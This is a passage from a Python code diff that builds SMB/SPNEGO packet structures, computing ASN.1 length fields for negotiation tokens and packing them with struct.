+        AsnLen2 = str(self.fields["NegTokenASNId"])+str(self.fields["NegTokenASNLen"])+str(self.fields["NegTokenTag0ASNId"])+str(self.fields["NegTokenTag0ASNLen"])+str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech1ASNId"])+str(self.fields["NegThisMech1ASNLen"])+str(self.fields["NegThisMech1ASNStr"])+str(self.fields["NegThisMech2ASNId"])+str(self.fields["NegThisMech2ASNLen"])+str(self.fields["NegThisMech2ASNStr"])+str(self.fields["NegThisMech3ASNId"])+str(self.fields["NegThisMech3ASNLen"])+str(self.fields["NegThisMech3ASNStr"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])+str(self.fields["NegTokenTag3ASNId"])+str(self.fields["NegTokenTag3ASNLen"])+str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"])
+
+        MechTypeLen = str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech1ASNId"])+str(self.fields["NegThisMech1ASNLen"])+str(self.fields["NegThisMech1ASNStr"])+str(self.fields["NegThisMech2ASNId"])+str(self.fields["NegThisMech2ASNLen"])+str(self.fields["NegThisMech2ASNStr"])+str(self.fields["NegThisMech3ASNId"])+str(self.fields["NegThisMech3ASNLen"])+str(self.fields["NegThisMech3ASNStr"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])
+
+        Tag3Len = str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"])
+
+        self.fields["Bcc"] = struct.pack("<h",len(CompleteBCCLen1))
+        self.fields["InitContextTokenASNLen"] = struct.pack("<B", len(AsnLenStart))
+        self.fields["ThisMechASNLen"] = struct.pack("<B", len(str(self.fields["ThisMechASNStr"])))
+        self.fields["SpNegoTokenASNLen"] = struct.pack("<B", len(AsnLen2))
+        self.fields["NegTokenASNLen"] = struct.pack("<B", len(AsnLen2)-2)
+        self.fields["NegTokenTag0ASNLen"] = struct.pack("<B", len(MechTypeLen))
+        self.fields["NegThisMechASNLen"] = struct.pack("<B", len(MechTypeLen)-2)
+        self.fields["NegThisMech1ASNLen"] = struct.pack("<B", len(str(self.fields["NegThisMech1ASNStr"])))
+        self.fields["NegThisMech2ASNLen"] = struct.pack("<B", len(str(self.fields["NegThisMech2ASNStr"])))
+        self.fields["NegThisMech3ASNLen"] = struct.pack("<B", len(str(self.fields["NegThisMech3ASNStr"])))
+        self.fields["NegThisMech4ASNLen"] = struct.pack("<B", len(str(self.fields["NegThisMech4ASNStr"])))
+        self.fields["NegTokenTag3ASNLen"] = struct.pack("<B", len(Tag3Len))
+        self.fields["NegHintASNLen"] = struct.pack("<B", len(Tag3Len)-2)
+        self.fields["NegHintFinalASNLen"] = struct.pack("<B", len(str(self.fields["NegHintFinalASNStr"])))
+################################################################################
 class SMBSession1Data(Packet):
     fields = OrderedDict([
         ("Wordcount",             "\x04"),